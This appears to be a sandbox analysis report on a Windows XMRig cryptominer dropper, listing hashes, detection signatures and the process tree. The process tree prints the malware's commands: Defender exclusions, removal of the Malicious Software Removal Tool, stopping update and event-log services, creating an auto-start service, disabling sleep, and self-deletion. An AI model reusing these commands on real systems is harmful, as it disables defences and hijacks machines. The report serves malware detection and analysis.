Analysis
-
max time kernel
87s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
30/09/2024, 07:06
Static task
static1
Behavioral task
behavioral1
Sample
72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe
Resource
win7-20240903-en
General
-
Target
72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe
-
Size
5.5MB
-
MD5
3d2de379a001af666b5295c599ed0120
-
SHA1
3173752278b5b611f0b528271432f9087efd6ae3
-
SHA256
72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066
-
SHA512
c4fe07f61a874c18e2383aea204ed00a028da7ea9c62e6822941dc9bd169ada24d7f1c717805baa2438027482201ccec85caf6343ae17b6045cfcdec03317168
-
SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
-
XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2320-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2320-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2320-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2320-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2320-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2320-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2320-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2320-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2092 powershell.exe 2848 powershell.exe -
Creates new service(s) 2 TTPs
-
Deletes itself 1 IoCs
pid Process 868 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 460 Process not Found 2816 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 460 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2084 powercfg.exe 2624 powercfg.exe 2072 powercfg.exe 2088 powercfg.exe 2328 powercfg.exe 2880 powercfg.exe 3016 powercfg.exe 2124 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2816 set thread context of 2364 2816 lutlgidagtja.exe 85 PID 2816 set thread context of 2320 2816 lutlgidagtja.exe 87 -
resource yara_rule behavioral1/memory/2320-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2320-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1940 sc.exe 2640 sc.exe 2572 sc.exe 2244 sc.exe 1920 sc.exe 2664 sc.exe 2744 sc.exe 2632 sc.exe 2444 sc.exe 1136 sc.exe 1744 sc.exe 1480 sc.exe 2336 sc.exe 2380 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70341a590713db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2092 powershell.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2220 72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe 2816 lutlgidagtja.exe 2848 powershell.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2816 lutlgidagtja.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe 2320 nslookup.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 460 Process not Found -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2092 powershell.exe Token: SeShutdownPrivilege 2124 powercfg.exe Token: SeShutdownPrivilege 2084 powercfg.exe Token: SeShutdownPrivilege 2072 powercfg.exe Token: SeShutdownPrivilege 2624 powercfg.exe Token: SeDebugPrivilege 2848 powershell.exe Token: SeShutdownPrivilege 3016 powercfg.exe Token: SeShutdownPrivilege 2328 powercfg.exe Token: SeShutdownPrivilege 2088 powercfg.exe Token: SeShutdownPrivilege 2880 powercfg.exe Token: SeLockMemoryPrivilege 2320 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2704 wrote to memory of 2612 2704 cmd.exe 36 PID 2704 wrote to memory of 2612 2704 cmd.exe 36 PID 2704 wrote to memory of 2612 2704 cmd.exe 36 PID 868 wrote to memory of 2912 868 cmd.exe 63 PID 868 wrote to memory of 2912 868 cmd.exe 63 PID 868 wrote to memory of 2912 868 cmd.exe 63 PID 2384 wrote to memory of 2172 2384 cmd.exe 72 PID 2384 wrote to memory of 2172 2384 cmd.exe 72 PID 2384 wrote to memory of 2172 2384 cmd.exe 72 PID 2816 wrote to memory of 2364 2816 lutlgidagtja.exe 85 PID 2816 wrote to memory of 2364 2816 lutlgidagtja.exe 85 PID 2816 wrote to memory of 2364 2816 lutlgidagtja.exe 85 PID 2816 wrote to memory of 2364 2816 lutlgidagtja.exe 85 PID 2816 wrote to memory of 2364 2816 lutlgidagtja.exe 85 PID 2816 wrote to memory of 2364 2816 lutlgidagtja.exe 85 PID 2816 wrote to memory of 2364 2816 lutlgidagtja.exe 85 PID 2816 wrote to memory of 2364 2816 lutlgidagtja.exe 85 PID 2816 wrote to memory of 2364 2816 lutlgidagtja.exe 85 PID 2816 wrote to memory of 2320 2816 lutlgidagtja.exe 87 PID 2816 wrote to memory of 2320 2816 lutlgidagtja.exe 87 PID 2816 wrote to memory of 2320 2816 lutlgidagtja.exe 87 PID 2816 wrote to memory of 2320 2816 lutlgidagtja.exe 87 PID 2816 wrote to memory of 2320 2816 lutlgidagtja.exe 87
Processes
-
C:\Users\Admin\AppData\Local\Temp\72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe"C:\Users\Admin\AppData\Local\Temp\72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2220 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2704 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2612
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1940
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2744
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2632
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2572
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2640
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2072
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2624
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2084
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2124
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2244
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:1744
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2444
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:1136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\72ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:868 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2912
-
-
-
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2848
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2384 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2172
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1920
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2380
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2664
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1480
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2336
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3016
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2880
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2328
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2088
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2364
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2320
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.5MB
MD53d2de379a001af666b5295c599ed0120
SHA13173752278b5b611f0b528271432f9087efd6ae3
SHA25672ebcc0cf919c669111d841ea22d8e97a1719609d54279be3c810204259c8066
SHA512c4fe07f61a874c18e2383aea204ed00a028da7ea9c62e6822941dc9bd169ada24d7f1c717805baa2438027482201ccec85caf6343ae17b6045cfcdec03317168